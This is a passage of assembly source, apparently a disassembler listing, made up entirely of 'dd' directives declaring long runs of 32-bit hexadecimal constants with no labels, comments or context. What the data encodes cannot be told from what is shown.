		dd 0E61B967Bh, 39E3F1Ch, 5510F710h, 87F5E025h, 0E9225004h
		dd 0A6038E4Fh, 0CF290DD4h, 0F8BCF32Fh, 9072331h, 0B9C71E79h
		dd 3155083h, 3B1AF6B8h,	3E949900h, 16FF97B3h, 0A86A6BFCh
		dd 1354B00h, 0B100E225h, 72ECF599h, 0CBBA33h, 7E1AD111h
		dd 0FAC57F16h, 63511200h, 0F96981ECh, 72BA286Dh, 50FA88h
		dd 26295A21h, 0DC01E4E9h, 0EEB72Ch, 0B300DE24h,	4E0AB83Dh
		dd 0BE7D0728h, 50BA145Dh, 0CD1238C1h, 2BDC63Dh,	9E9290C8h
		dd 5AE4813Bh, 31D068B5h, 10350055h, 33BFFF30h, 15758722h
		dd 0C6CC0D00h, 0B3DD7788h, 5347006Eh, 5F8BF940h, 24049872h
		dd 0E6F065CEh, 945D981h, 79773083h, 0F7C8C29Ch,	210E96F3h
		dd 60AC39E9h, 0C1EA94EBh, 53CC0083h, 0B0A3BEABh, 1F006DB1h
		dd 0F478AC2h, 0D75589h,	5A7483AAh, 0F1913E76h, 0D2923700h
		dd 89409741h, 948A0072h, 1E05405h, 3C00445Ah, 0A8A3A92Fh
		dd 1DD5B121h, 68DDD1h, 6E663A6Dh, 9FFA178Eh, 0B7063Ah
		dd 0F819FCD6h, 0ECEBD13Bh, 0E1803C26h, 0CDA6E607h, 8CE0DEE4h
		dd 3D4BBF2Bh, 3768500h,	0F27FFFB5h, 29C50093h, 5731F49Ch
		dd 8B2C5BC6h, 7840504Ch, 0B12351h, 44DDB4E6h, 8474906Ch
		dd 61DED00h, 0AB39992Dh, 0A18117D6h, 0C02C1D97h, 34C220DAh
		dd 170173B5h, 8A7DBFA0h, 0EFD840CCh, 56220006h,	0AE611DEAh
		dd 3707252Ah, 51C42CFh,	552BDA40h, 9A44759Fh, 0B28600E8h
		dd 90240E9Ah, 345AF807h, 541E0h, 0A0689C74h, 9747B4CDh
		dd 918D548h, 808FEBE4h,	45A431E4h, 0FE8276BBh, 0AB3700AFh
		dd 3D79F79Ah, 0E26E38Ch, 1684B891h, 8A062C4h, 0B140079Dh
		dd 47D8FB0Dh, 2029403Ch, 21C391ECh, 1C706E3h, 829D4439h
		dd 0D0653C90h, 5F63FF7Ch, 117D3E18h, 1F292210h,	8880834Dh
		dd 9358C0AFh, 131D00D4h, 0F04FEA20h, 0E301349Bh, 0C711A3A4h
		dd 12203B45h, 0F67F8D4h, 30B168FBh, 0F58283Dh, 41E3382Eh
		dd 84E4A880h, 0A2603092h, 461E7052h, 0CA3D0127h, 0F685C2B8h
		dd 5DC9C89Dh, 2511C1C1h, 508738C7h, 40860229h, 0E8F10B80h
		dd 6065D630h, 54502ACDh, 3CCFC04Fh, 0FDBA85B2h,	0B784BC87h
		dd 0EAA044C8h, 0C066A7C2h, 0A7F6Ch, 0A5AE8565h,	0E9AAC1F5h
		dd 92EFB003h, 90B9A459h, 865B89h, 6D15B39Bh, 7A9A048Fh
		dd 3F14003h, 0CF9EF463h, 0CF92CC7h, 3CB19292h, 8B004D70h
		dd 0C5C1FF17h, 0D1A0D0B3h, 5C03699Ch, 25D79105h, 8039C023h
		dd 122C00D9h, 0FE9B6D52h, 0F40ED25Bh, 809ABCBBh, 1F575A3Bh
		dd 0A283006Eh, 0F8298CC4h, 0CD1E8108h, 79006726h, 7D7E55B3h
		dd 0DE652628h, 0FA6F00DEh, 5E4FEB81h, 7B1DA600h, 982D3DFEh
		dd 0BF3600DEh, 0AE90A0AFh, 7E4B498Fh, 5B042840h, 69C4FEDh
		dd 0E962852Ah, 50600853h, 0ED5DAA21h, 0E63900B2h, 51F8F4C0h
		dd 9D00F578h, 411B508Bh, 37086Bh, 909C5EE9h, 1CF812E4h
		dd 83D7C80Fh, 0F441EF1Ah, 692F02D4h, 0F92FCF4h,	515B6D00h
		dd 35063C8Dh, 25134882h, 6E4B08h, 5143878Ch, 9A0005D7h
		dd 40AB3E58h, 3A02B2h, 5C5B862Ch, 0DFCEDCC6h, 0B168A86Ch
		dd 0FC380064h, 0C6593EE2h, 1E1F6D84h, 778015ACh, 8292653Dh
		dd 4D6E30FFh, 83A07220h, 0A083B941h, 4FAFCD85h,	0A9385000h
		dd 82D699E8h, 0D1FA3F0Fh, 70CAB080h, 0DF479AD3h, 0D7EFEE00h
		dd 7D9F7C77h, 10B800F8h, 4C54E460h, 7503BD6Bh, 9EB1546h
		dd 0C440EFDCh, 0B6C033Fh, 2A256436h, 0C65D210Eh, 101053C5h
		dd 0DF86048Fh, 10D69Fh,	1CA5ED2h, 5DF8A980h, 73015B7Fh
		dd 45BE6930h, 22CCA3DFh, 86D01905h, 89C2918h, 0EFC64442h
		dd 700E4444h, 8608184h,	0BBB444B8h, 442A4B44h, 5F88A49Eh
		dd 6AC700C6h, 0AB9450C4h, 0CE67BFA2h, 0E1E73F10h, 20D186h
		dd 735A339Eh, 0F08B40AEh, 65C42D00h, 0EF3C8A27h, 1EAEEECh
		dd 0F2A6358h, 0ECC63D53h, 2C1D25CAh, 0A0813437h, 6A6C58B8h
		dd 8608ECh, 726BD11h, 467EC69Dh, 10893900h, 66A3D638h
		dd 6F98009Eh, 0E53F59A6h, 0D000777Fh, 43101452h, 2E320274h
		dd 0DC3D33h, 53F1DFF8h,	0C0000EAFh, 4F91718h, 0C08E2h
		dd 0B30E08Bh
		dd 3A2689B6h, 73322902h, 0C02811C8h, 7E9787FDh,	3F901ABh
		dd 6016D1FCh, 0A2108083h, 0B34961Fh, 483D0065h,	2C81B8Ch
		dd 0AD1CD870h, 4A40339Dh, 689E1A76h, 0CE0F0094h, 0ACB9F2ABh
		dd 0AE0759CBh, 44AF3F53h, 0B56FB310h, 785200C3h, 0C7ABFA8h
		dd 2D0E2095h, 0A618BDh,	59B66E62h, 0D220EA0h, 4F60E002h
		dd 51ACECA7h, 0F0AEAA00h, 4005BD96h, 524400F2h,	6BEEC222h
		dd 58FC19C0h, 361070C0h, 603F56h, 836377E3h, 0D52C5CD7h
		dd 6F17D00h, 0AB264B50h, 7E3B0E17h, 4CA95254h, 0CC9DFE00h
		dd 3712C945h, 7CBC6CA3h, 0F1557900h, 9C77E832h,	0ECA8CC01h
		dd 0C64A3C51h, 60C02E30h, 25FA38A1h, 0FD177A65h, 0BA0EC7BDh
		dd 87730754h, 563A6820h, 0CE580115h, 0FAC66F3h,	0ECA8F960h
		dd 22EE29F8h, 0C6B6F700h, 5B988E18h, 929A00AFh,	28F3D148h
		dd 7B003FB0h, 9B9655D8h, 6EC7Fh, 0DB3BC794h, 21716ADFh
		dd 0E411FC00h, 0F2FE72BBh, 8DA1006Eh, 50EDD2A0h, 0F10A5DDDh
		dd 90C640E5h, 61B98003h, 141BE098h, 895F181Eh, 33FA1096h
		dd 8B2D3B10h, 0E37676h,	0A7CF796Dh, 0B16901DFh,	0D3006C7Ah
		dd 8FA8F303h, 0CB2F57h,	0F7632461h, 6E0BAFC3h, 69EB4900h
		dd 0C6969B83h, 93B80E05h, 0FE00A58Fh, 0B7448709h, 8D007279h
		dd 0D93C41CFh, 1EFBCE2Bh, 8053D45Eh, 802E23AEh,	58F460AAh
		dd 0BFE33C1Fh, 6CD17C01h, 0FC40FD89h, 2D8F38h, 9905A477h
		dd 4EA2504Fh, 140089FCh, 0CFEAA1D2h, 146C5BFh, 5C21036h
		dd 30160675h, 27005E44h, 1BDC04CCh, 255DCFh, 65B4C176h
		dd 0EFEC66F7h, 0A7A55200h, 19C49916h, 34FCC0h, 9E6DA9B7h
		dd 7618283Ah, 87D6B00Fh, 0A0EEAFD4h, 191575E9h,	560800DAh
		dd 29137B09h, 0A6009EA1h, 5278F0D7h, 10BBB4h, 4FF78290h
		dd 0F3A4088Ch, 0AC530300h, 0A1273E57h, 0C8F4FDh, 0D8AADCF1h
		dd 0DACDDB3Dh, 0E73C3F00h, 3E6AC23Bh, 8B2014Ah,	73406651h
		dd 0ABD2DC61h, 4CC0FD00h, 0AF0ABCDDh, 0F8C950A8h, 0F0B000C8h
		dd 0AC2DA101h, 0B1607395h, 82480411h, 4F21C517h, 6FC3BFEBh
		dd 0A9F7C837h, 0F22878AEh, 0FA7C005Bh, 0D0B7B6F2h, 23B85F0Fh
		dd 27CBF705h, 0F8006810h, 81410420h, 0B965029Eh, 466090A8h
		dd 4AE27C60h, 0AF209200h, 0E162B5EBh, 5B9D008Dh, 0C1B6265Fh
		dd 0C9032557h, 756313BAh, 1C02A81Dh, 0C5AC0143h, 0F9EA8209h
		dd 0CF92700Dh, 3B9F7F00h, 0F61D87Ah, 0C4670389h, 223D4CE6h
		dd 7C81F6F0h, 2CD18D1Ch, 835CE00h, 715D783Bh, 8E2E0F9Dh
		dd 70009F31h, 0BE2766Eh, 0A8A12D60h, 0CA77366h,	521D4ED6h
		dd 0E6E0997Eh, 951F3607h, 0A08F1024h, 0BF4116EAh, 0B9FF009Dh
		dd 28D1DB32h, 7D006644h, 698ACF6h, 129FD917h, 0E6BA86Dh
		dd 960049C4h, 0D70C34A2h, 89644B00h, 0C9A7FAEDh, 24A41EFFh
		dd 121221h, 0D7107E4Ch,	0FD003443h, 0EB4EBE87h,	5BB63Bh
		dd 0FF58088h, 0B45756ACh, 5552B512h, 4EAA8C00h,	47ECC94h
		dd 238C19C9h, 0FA90801Ch, 30014482h, 6EA4E52Ah,	0F07AA6DFh
		dd 0C6097AF1h, 0B359EBh, 0E10D2668h, 0F7ED0009h, 6CF53216h
		dd 0BE73F867h, 86E4441Bh, 42960044h, 0DB06621Dh, 0D009F24Bh
		dd 36DF15h, 0B2BB669h, 0B4C900A2h, 20AB5D3Fh, 0EEF23369h
		dd 77E638h, 66DB9572h, 2EC559h,	0D843B454h, 4098113Bh
		dd 33F1BE00h, 0BA70ADC3h, 0D211C12Eh, 806D7194h, 0CE3B2921h
		dd 0C4B946h, 4442A438h,	0E8BD6580h, 87EB2B3Eh, 5D417F45h
		dd 50800254h, 5CAF2F1Bh, 321D5283h, 557C3E7h, 0D5F067FFh
		dd 3379D0CBh, 39D7E00h,	0E0182A11h, 32CD0041h, 37C49445h
		dd 0A6003F88h, 0F48E021Dh, 0F8EAD93Dh, 83420008h, 85336E58h
		dd 4F003BC0h, 5B14A54Ch, 3B813CCh, 0F7D6B967h, 8B98F9E9h
		dd 27052D02h, 2EC0B05Dh, 95FD5480h, 0B1A3005Fh,	9E0D37D4h
		dd 0F80C9A5Eh, 7A3A7AE8h, 43265C8Ch, 103D9D19h,	0C472804Ah
		dd 505535CCh, 28380095h, 0F6639211h, 0E1796FE4h, 274C6C00h
		dd 0D50284D9h, 0B02358B2h, 0D77E007Ch, 0F98E1A7Dh, 0FB004EC1h
		dd 193B4258h, 5C3204h, 0C76CE42Eh, 0EE2DDD7Bh, 55FC4400h
		dd 229D5E41h, 0F0DB00E0h, 0EDA2EBB2h, 0A9F89363h, 0F104BB0Bh
		dd 31BC215Fh, 0F4745114h, 94860398h, 3CFCE0D8h,	0A5480DCh
		dd 3800AA85h, 0EDBE475Dh, 60631E55h, 86A73013h,	601B08Eh
		dd 0E2E95618h, 1080887Fh, 112105FFh, 0E0F08791h, 6815F026h
		dd 806D2A40h, 0CA5E28CCh, 42D00A8h, 6AA01882h, 3C00D0CEh
		dd 6B88AFC6h, 0EB413C4h, 95D53432h, 7135803Fh, 0F311BC25h
		dd 65B03C50h, 1ED7CC1Dh, 0A11060C0h, 7DB4C58Ah,	0DE680046h
		dd 5CF59739h, 17004F1Fh, 0FFBB0CADh, 2D7B4AFh, 0D4194D15h
		dd 0FC82BA78h, 34C8FD08h, 0BB008704h, 0C5A22CCFh, 7E6B211h
		dd 0BAD3BF06h, 2981F6D6h, 957820h, 258413DBh, 7E8D2190h
		dd 23626700h, 9843A9E4h, 2B7D0299h, 0E038B520h,	0DA4448E0h
		dd 0D4EB9602h, 0E0C59D0Ch, 0E801FFE8h, 0B65F5C2Bh, 34A55104h
		dd 0C52C805Ch, 20848B1Fh, 18708D0Bh, 300A7E00h,	2D7FAFB2h
		dd 8FDE0053h, 68A35DB1h, 0A00E58D7h, 0CC5A6D1Ch, 1112877h
		dd 0E6509C55h, 208DDBD0h, 590078E4h, 0FB964D3Ah, 0E82775BEh
		dd 9EA70109h, 864F982Dh, 347CF879h, 39E9CE00h, 534BFCCDh
		dd 2A89000Ch, 38BAA119h, 5101A54Dh, 0CBC4288Eh,	0B0F3AF3Bh
		dd 33078Ah, 0D7E8AE10h,	0D28E030Bh, 34504C00h, 531896DDh
		dd 6EE7B7h, 83D68166h, 37009D88h, 0B52AD207h, 5B67BBh
		dd 0D80CBD66h, 57EE1B5Eh, 7218AC00h, 0FAC74351h, 3ADB00F1h
		dd 6E8B3F8Dh, 0C67242AAh, 2B955D13h, 254CD900h,	0E24E7D5Ch
		dd 0D3220081h, 0BCA71FFEh, 0F9388FECh, 7014001Ah, 0DBA9D2Ch
		dd 73B40CE9h, 44782E55h, 0B5B72D00h, 0D1126436h, 21A91FAAh
		dd 63438033h, 0FA40294h, 7F17B0Eh, 5C5A40C8h, 7D21EFB1h
		dd 0DEFF071Dh, 81CB9130h, 7089E3C1h, 54006201h,	789A2B4Dh
		dd 0B581F7h, 53C405B7h,	9479AAF2h, 0F63CCA00h, 0FC35C1E0h
		dd 0DB5F004Ah, 49B5263Fh, 68909A10h, 0F41A331Eh, 863D8500h
		dd 470C1FFh, 996A5853h,	1FEFC02Bh, 961C39EBh, 425DF041h
		dd 7017A640h, 4C64CA60h, 785A48h, 69D20210h, 6F250D12h
		dd 0D7EEE900h, 599FB4CDh, 3CC90024h, 0E3C3E02Ch, 0D800DFF5h
		dd 0C12AC26Eh, 727BA932h, 0BEDE0022h, 34A4AC82h, 13005E6Ch
		dd 73BD384Ch, 10ED67h, 9DCD1630h, 0DFC139E0h, 98484100h
		dd 0E20C92E8h, 50E4983Ah, 3D08Fh, 906677ACh, 0F9DDB619h
		dd 9DD8FB00h, 0EE40B98Bh, 15F40024h, 10823268h,	480047D2h
		dd 2639F6C6h, 9418ECEh,	676F2122h, 598960C0h, 1AEBE09Dh
		dd 88BD0EB3h, 0D0C07214h, 828AC16Ch, 41A9C400h,	0D51E4825h
		dd 0C5A40EFEh, 36E11634h, 0E02F1288h, 0DD603CEBh, 766CEE10h
		dd 8B9B257Fh, 80C46884h, 0A2C0B2D0h, 3203AE00h,	0F8D3DA21h
		dd 0D50007Dh, 0C48B07FDh, 5D004F18h, 11C88A49h,	337A7Eh
		dd 0D09E3821h, 0B0597CF7h, 605E7024h, 0CB505100h, 0E2C22E7h
		dd 74C92F77h, 0D0396A47h, 0C0808F81h, 0EAE43E09h, 50E4A090h
		dd 30F6696h, 5D6425ABh,	110D5972h, 0B2AA43CCh, 0F3411080h
		dd 1C51DDB5h, 0D38C3707h, 7580889Ch, 1625323h, 990F9EF8h
		dd 0E06A2717h, 1625D3F7h, 5410A0E7h, 9A074B5h, 0A520A391h
		dd 87D25A05h, 468DF099h, 850021F7h, 609F73D1h, 10BE52h
		dd 47F32EDBh, 3B9E5884h
		dd 80FE1B38h, 0AF32DF70h, 0E6AA40Ch, 0B2BF37A8h, 80AE9864h
		dd 0D4E2738Dh, 0BEE0D650h, 19E59000h, 55F94752h, 0C2CD130Ah
		dd 25C1002Dh, 8DD2F429h, 0B063BF03h, 0AB096539h, 0C7069837h
		dd 4C5100ADh, 0DD56C810h, 111CD19Eh, 36C022B4h,	23BF277Dh
		dd 4BE8008Ah, 0CCC93B61h, 9B00D0C5h, 0F10697ABh, 0B42A84h
		dd 1D16225Bh, 0FF36D1FCh, 2F7DB807h, 0CE305931h, 3AB9F1h
		dd 0A7DC7606h, 297C4C2Bh, 5B6EA100h, 0D9453D6Ah, 3982010Ah
		dd 8DA98B5h, 7DFDF0E5h,	0DCA1B30Fh, 6BDBC05Eh, 775663Bh
		dd 0C24D7A91h, 0E04CB0E5h, 0ED018960h, 0C63BD179h, 0A087CB05h
		dd 0C0069446h, 0AFB36AAh, 3AC3E200h, 0F9A15D71h, 0BB30FC5h
		dd 3EE0B085h, 1F18FF44h, 0E6FE7200h, 351E0D17h,	84BE1CDBh
		dd 12D6C3A4h, 63D0CE1Ah, 0EC789523h, 0BD546A00h, 34842FF9h
		dd 0D1C300F1h, 0BAFB0A4Bh, 701D6297h, 0DCC0B086h, 6F92D61Ah
		dd 25FCA8h, 87D06033h, 0D23BCAB2h, 7AE4AD0Ah, 0A100C4E1h
		dd 56DF382Eh, 3AA7C03h,	960D619Fh, 0B9001794h, 0C0B4B816h
		dd 1B6BBEh, 2B39CC34h, 2FD53FCBh, 0EB970403h, 886F2013h
		dd 117568Bh, 4DBE718Ch,	0E1AB86B7h, 0F40EE5A4h,	0E90094D7h
		dd 0D0E35C65h, 7B0D7459h, 0C84EC3Fh, 454E5B9h, 0DAF03B10h
		dd 0C68C20h, 4CA1DB4Dh,	0B82B4A5Dh, 0D6CCD01Eh,	8051010Eh
		dd 0C68B7BD7h, 5F21034Fh, 0BE7022C9h, 0E7E596F0h, 0E3BA39h
		dd 3E633AACh, 3B95DEh, 0EA13C24h, 0E84341BCh, 51B74000h
		dd 0E2329417h, 808D5062h, 283B0049h, 8E6FD66h, 2F0F9758h
		dd 0B1AC33h, 0F307EB20h, 6EF007C3h, 8F9F8D1Dh, 8731A141h
		dd 20C4C555h, 97004D08h, 6290E0D3h, 0E8BA5Dh, 82354124h
		dd 5BEB9DE9h, 0F5100200h, 1E0CDF18h, 3F6600E7h,	16559019h
		dd 544892E0h, 0A02F030Ch, 0C8F3D873h, 95F4D2h, 2E1CB54Dh
		dd 523F3E80h, 3CD50C00h, 1225BC0Dh, 5F7F007Eh, 0F561AB9h
		dd 0F80E7C63h, 0C0FEB779h, 3E8F1E0Eh, 0FC6A00F2h, 4102616h
		dd 0A500A0E7h, 5B6836C4h, 58B0C105h, 9900BAB3h,	0D2F8CE92h
		dd 7500C537h, 61C0185Fh, 0E6D06AE2h, 287458B2h,	800A431Ch
		dd 0E64D32A6h, 67500133h, 302C61A4h, 0AC1F18A4h, 2B4E44C1h
		dd 0B0CC2448h, 9C7C8Ah,	0B9DD9E1Bh, 447CC7BFh, 0C3A22800h
		dd 0E7E6B530h, 0FC680087h, 0DDE03C53h, 6A75BFE4h, 7CEE311Dh
		dd 5612B680h, 24B38C34h, 2C5F47h, 0ABD258BDh, 400CDDEAh
		dd 1170B725h, 16C308CCh, 200052BAh, 0B06190BFh,	2B0700FEh
		dd 60A37EEEh, 5300E2B4h, 927FE524h, 48280A34h, 82042C3Bh
		dd 1EE1C202h, 421CFC83h, 0CF188962h, 7F91F8h, 0BF8CD9D3h
		dd 0F7AF5569h, 0A05C7900h, 6442135Dh, 8FC82FBEh, 21004D56h
		dd 4BC6DA2Ch, 145A0925h, 0D4001C7Ch, 0B08AFDDh,	3DB6D4Ch
		dd 0C7657F71h, 4AD40751h, 804C9D37h, 0A52A3110h, 84011275h
		dd 65C95ADBh, 89F00426h, 6BA90053h, 0FA37F8E0h,	5AE4C4D8h
		dd 24618C00h, 0A244B46Fh, 0C98601D4h, 0DB143D9Fh, 0E869E5F0h
		dd 400A90Ah, 5F7BB055h,	636BD2Dh, 0A7622A4Bh, 0D20F02C3h
		dd 0C0E3559Bh, 40BC9331h, 1849030Ah, 0F8A93D0Eh, 6FFB9BA9h
		dd 618BE0h, 59EC7181h, 0AB454460h, 704ED000h, 0DABCA497h
		dd 7F4B00A5h, 671C1B6Fh, 6C0A3E2Ch, 0E44CD510h,	2F445200h
		dd 1199C4Dh, 0C7746E91h, 309F9627h, 6F7875E6h, 1185B337h
		dd 80A07342h, 15AC55D0h, 0EA2C00A5h, 2B1E5E99h,	142657A7h
		dd 0D280D473h, 7B20CCBEh, 0CE5548A6h, 6FBDAE00h, 0D50E98C8h
		dd 71FEDD00h, 0D32AE450h, 904F63CFh, 410070ACh,	8C6C06F6h
		dd 384044h, 13F5F0CFh, 6E51BFA8h, 3FAA2300h, 0AE32D2D3h
		dd 0DE673DB1h, 54F79680h, 0A483C60Ah, 89A9DA07h, 3A70A092h
		dd 78FEBDh, 391B7230h, 0CC50FBE3h, 21009C75h, 63E18545h
		dd 71679E81h, 0DDC31C2Dh, 3C61C71Dh, 0A45B9052h, 14786CB2h
		dd 23001F7Fh, 1B9906DAh, 2C0BE4h, 0CDB2CBBEh, 94568F43h
		dd 0BA4C8100h, 9145F93h, 22E29Bh, 3461DA39h, 0CC557E10h
		dd 70628E2Eh, 0CEE84701h, 9D20CF32h, 0D85F000Eh, 0A0106EB8h
		dd 44F47D3Fh, 4D901EE6h, 0CA460214h, 0B05B0490h, 14868D4Ch
		dd 41048710h, 8058B19Fh, 0A35E8310h, 1C46F9C0h,	41F00451h
		dd 5CE29D02h, 0E7546015h, 89C5E006h, 2229D8DAh,	59220B55h
		dd 3FBD423Eh, 3BC72052h, 4F0005B9h, 0E3199A26h,	0CA003739h
		dd 0BA6D0458h, 46F065Ah, 0AD81F92Ah, 1E730421h,	1E59905Fh
		dd 2D8063D9h, 0A0D5B6F6h, 0EB2700F7h, 0B18A40D4h, 6A00B87Dh
		dd 12A27704h, 0D9F115h,	20DBEEBFh, 92A40F22h, 0AB118100h
		dd 3CE4460Ah, 2A0B00FFh, 0E9EBE1A9h, 1900EF7Bh,	18428857h
		dd 0AE9E82h, 8068FC5Ch,	5A078E4Ch, 3292C401h, 47B56FA3h
		dd 1C16D5E4h, 800C9FE2h, 0A614D8F3h, 370920A7h,	8060C3E6h
		dd 0A9990F4Bh, 0FD78F7h, 0D8F5EE47h, 588913B7h,	287F0C07h
		dd 1C907AA6h, 53A485h, 83727FEh, 0CD259ACEh, 8010BDE3h
		dd 11AF9F75h, 0EA72F3C5h, 4F17EAC9h, 484BAC5Ah,	3B2D00CAh
		dd 47CC78EEh, 9A0C3D23h, 0B7BD6F80h, 3E317A88h,	0C5C03705h
		dd 0EBC0C862h, 5A81E8h,	0E049867Ch, 0CFD11715h,	0F569C001h
		dd 30654EE5h, 505EF8h, 0E1D6375Dh, 76B5840Ch, 3177CA01h
		dd 0AB9EEF48h, 7588F080h, 4EED6E67h, 0B752E607h, 2AA028C4h
		dd 0EA1A81h, 56117807h,	0B44815F8h, 0FB906B00h,	876C5077h
		dd 0F29300EFh, 0EC92F0C0h, 2200EA2Bh, 0F1B19E76h, 7A9B26h
		dd 0F2FC250Dh, 524163A7h, 0F160800h, 0BCFEDE53h, 1A40008Bh
		dd 0D7D4EDBFh, 0E1008FB9h, 6DC86315h, 23CA5BDh,	4DCA2832h
		dd 0A880EB2Dh, 26211E69h, 0C002E102h, 616FDE64h, 0D8447022h
		dd 974A85C0h, 8309012Ch, 0A313BEE3h, 498FB5Bh, 0C03D94Ch
		dd 6669F876h, 449880CBh, 1BD70729h, 802A301Eh, 24E0BE2Fh
		dd 2C854200h, 38336913h, 74BD0059h, 8807F3D1h, 0F6003B9Bh
		dd 4DAD82C5h, 3938B8h, 0F9870383h, 7DCB5449h, 0A0E97C05h
		dd 0D187DD96h, 3C239280h, 0A6760793h, 20F49D58h, 449C51A0h
		dd 0CD1CE501h, 0F27A5C15h, 0C17068D5h, 6BE000C0h, 0F033B9BEh
		dd 19141F97h, 0A9879Bh,	34892F74h, 3A391FAh, 9D321149h
		dd 0A1E95BC9h, 381C20B5h, 403A0525h, 0D82ED3h, 5A24266Dh
		dd 2018E697h, 8092153Fh, 65579B8Dh, 0CF321CBh, 0AC62CD68h
		dd 6B044240h, 0CFA1E73Dh, 44110482h, 63AD00B4h,	0F3A8168h
		dd 0B500229Ch, 531EAA03h, 0F2EF97h, 0B1085485h,	38C3C6BDh
		dd 0FC1C4803h, 0A48DEB6Fh, 0C23BFC80h, 0D5320729h, 804B1864h
		dd 0CF851935h, 210FEE7Bh, 0C7274915h, 0E2476EB3h, 304ADA51h
		dd 29EC40C2h, 0DF100E11h, 0B80F55Bh, 0D670F3B5h, 0B9A24D0Fh
		dd 286F84BCh, 0C7C0C090h, 4B2900BAh, 0A572D838h, 6300D415h
		dd 0AFD61D93h, 1D3D2C8Bh, 2762F4h, 4402787Fh, 21E0AC6Fh
		dd 8117650Eh, 8407A095h, 2AA3EF9h, 0AC603B33h, 840DEB3h
		dd 0C3009690h, 159D4D5Fh, 1EB7C714h, 80F42B20h,	7913F187h
		dd 5100444Bh, 8925FE5Dh, 0FA64EDh, 0DEDAE96Bh, 0BCA550AEh
		dd 795DB701h, 0D5FFCCE4h, 0B415C4h, 2F8A5A64h, 73C81647h
		dd 0E2977E28h, 60A58200h, 0EB09B98Fh, 5179A2h, 2D017161h
		dd 3DFE92CCh, 1EB0CD49h, 10809A88h, 0A4B23FE2h,	36780080h
		dd 707AB52Eh, 463B34EAh, 84A93986h, 170182EEh, 0BDD40081h
		dd 0CB25D4h, 18B9405Ah
		dd 434DB499h, 6A0BEF00h, 0F81A89F0h, 0EACC1E7Bh, 8D6C00E1h
		dd 3209D2A4h, 0D50C0700h, 654F3ABh, 36C8092Fh, 58807B6Ch
		dd 76C43C1Eh, 10C08E76h, 0F803DD88h, 0D4243920h, 6708D180h
		dd 0BDE70AF5h, 0D92C8C2Eh, 0F02A7F03h, 1874A807h, 0A6350092h
		dd 2F886DA4h, 3D003ADCh, 39F7C961h, 0B012D32Dh,	7ED8C739h
		dd 0FB24CF1Fh, 0A65800F0h, 9437FAh, 7717DEC2h, 62248491h
		dd 0DCCD2D01h, 0F40E89F1h, 22238110h, 0C6EE5D01h, 8DD24BE9h
		dd 93C9C30h, 0B7CFAEC0h, 9A413C8Eh, 0DC417BE3h,	4E007112h
		dd 0CBC5A111h, 623B88h,	0C6BBDDE4h, 34CC2BCFh, 7E7C2C00h
		dd 5DF72549h, 0F3C8007Bh, 8FD55F0Bh, 87018EEAh,	0B3FD7584h
		dd 22C4516Ah, 4AA90038h, 0ADB508E5h, 0C9078341h, 6EEBFEBAh
		dd 0F6FB64A0h, 9BF8B8h,	2D10AA30h, 0CC8CEDC7h, 0F930A174h
		dd 0CAA9216Eh, 25B200D7h, 3315F390h, 0A500653Ch, 0DFB54712h
		dd 1D76ED20h, 0DD4E21BCh, 0FC16805Fh, 7D7EB7Bh,	7C00CE79h
		dd 0E6671003h, 0AEBE85h, 325CF9C3h, 256157C8h, 1CCF8B00h
		dd 825402B6h, 0A46C00D4h, 32CAE11Eh, 747F83F3h,	1BF88600h
		dd 0B6395C8Bh, 817B30h,	0AE938413h, 3A7587C5h, 616DE500h
		dd 3F2EF67Ch, 4A6C07C6h, 0B077C46Eh, 12BB89B6h,	73786878h
		dd 0C69658h, 90783CB2h,	312CFCh, 0A8B94555h, 23C57C76h
		dd 3BC0B600h, 3DB74CE9h, 0C043751Dh, 6FC6A019h,	8F0EEBAEh
		dd 1E6EF8h, 6CC78367h, 0CE13009Bh, 30EA22BFh, 800193Ch
		dd 724E56A3h, 3FE5A61h,	0E21DA0C9h, 0A9C0A62Bh,	2F00027Fh
		dd 0F0DCDDE9h, 6001B3FFh, 9BCC68B2h, 5E00FA1Fh,	7D658F97h
		dd 0BD8D28h, 29EC6DBBh,	2A23647Fh, 46C1D218h, 0E68360h
		dd 10428603h, 844022D8h, 99414800h, 7ADD68E8h, 7FE266h
		dd 5856106Fh, 34A284B1h, 44937458h, 0C50353A8h,	182E5D4Fh
		dd 73B3D8E5h, 4DA038Dh,	0A8C88B87h, 797BC2A8h, 13DB6100h
		dd 8A03F80Fh, 0A74004E6h, 8FFAFB65h, 1453A200h,	0C9383C01h
		dd 3FA87078h, 4764E0h, 9443A0EBh, 50BCDE54h, 4B351B00h
		dd 7AD2489h, 598D00D4h,	0B9636422h, 980169D0h, 0D79A951Ch
		dd 6BC42C52h, 19BC09F6h, 280A0A7h, 0F1CF027Ch, 57ED6500h
		dd 966031D3h, 0FE6B4h, 0CDCA390Ch, 2802034Ch, 34EF8C00h
		dd 0F1E18E99h, 0E7941CC6h, 0CE79C0EDh, 1B5A7F5h, 0F4EBD300h
		dd 4D41E27Eh, 0E7B8033Dh, 47B6CB20h, 17F8B0C0h,	924CC0B0h
		dd 96CE00D8h, 9489A16Ah, 8077006Eh, 2AEFF9E7h, 8B3C8AB7h
		dd 930176FAh, 7BABBD4Fh, 9FF83FC3h, 0CED000Ah, 0FF0BA811h
		dd 0C201B706h, 0D59CDE30h, 39E06286h, 401B6058h, 18958B1Ch
		dd 0D889130Fh, 0E9CD20F7h, 67B052h, 828C2FD2h, 0B4D9F4FBh
		dd 0F9F19400h, 7BDE1BE0h, 0C1CA07FEh, 1F7FDF13h, 0DC23BA40h
		dd 0A00F756h, 0B0265D97h, 57EE9Ch, 0C79210BFh, 7C6AE1F2h
		dd 8A2E3Ah, 71FEA624h, 0B0B1F097h, 704D004Eh, 9F7DD937h
		dd 4B006E83h, 4603A480h, 0A07652B9h, 7F0C98h, 7B2D0B88h
		dd 87652EDAh, 20E1FE00h, 527CA2CEh, 0DC4E05BFh,	0B726AEh
		dd 0D069D988h, 8900072Eh, 0D1437784h, 0A83399h,	279562B1h
		dd 7A5AE7FBh, 40B40624h, 0EBC8DA00h, 71B3F81h, 0E5E86AC9h
		dd 0B3C71F39h, 7F78D0C5h, 0CD78B0F8h, 914D4800h, 2ADA74FEh
		dd 1F9A0005h, 3E26AFC1h, 480045D8h, 8AC93D93h, 0F20DFC8Fh
		dd 0FA183C5Fh, 9C674E81h, 215C5824h, 0D8B3C462h, 0AD776C00h
		dd 289B6AFAh, 0EECB012Ch, 10A008BFh, 0E4F520CDh, 0E900E3E4h
		dd 0D8EF7D4h, 16958Ch, 397BCB60h, 46C459BFh, 0D840A230h
		dd 0A4ADC0h, 1187D8CAh,	3B8D441Ah, 8162023Ch, 7E716E29h
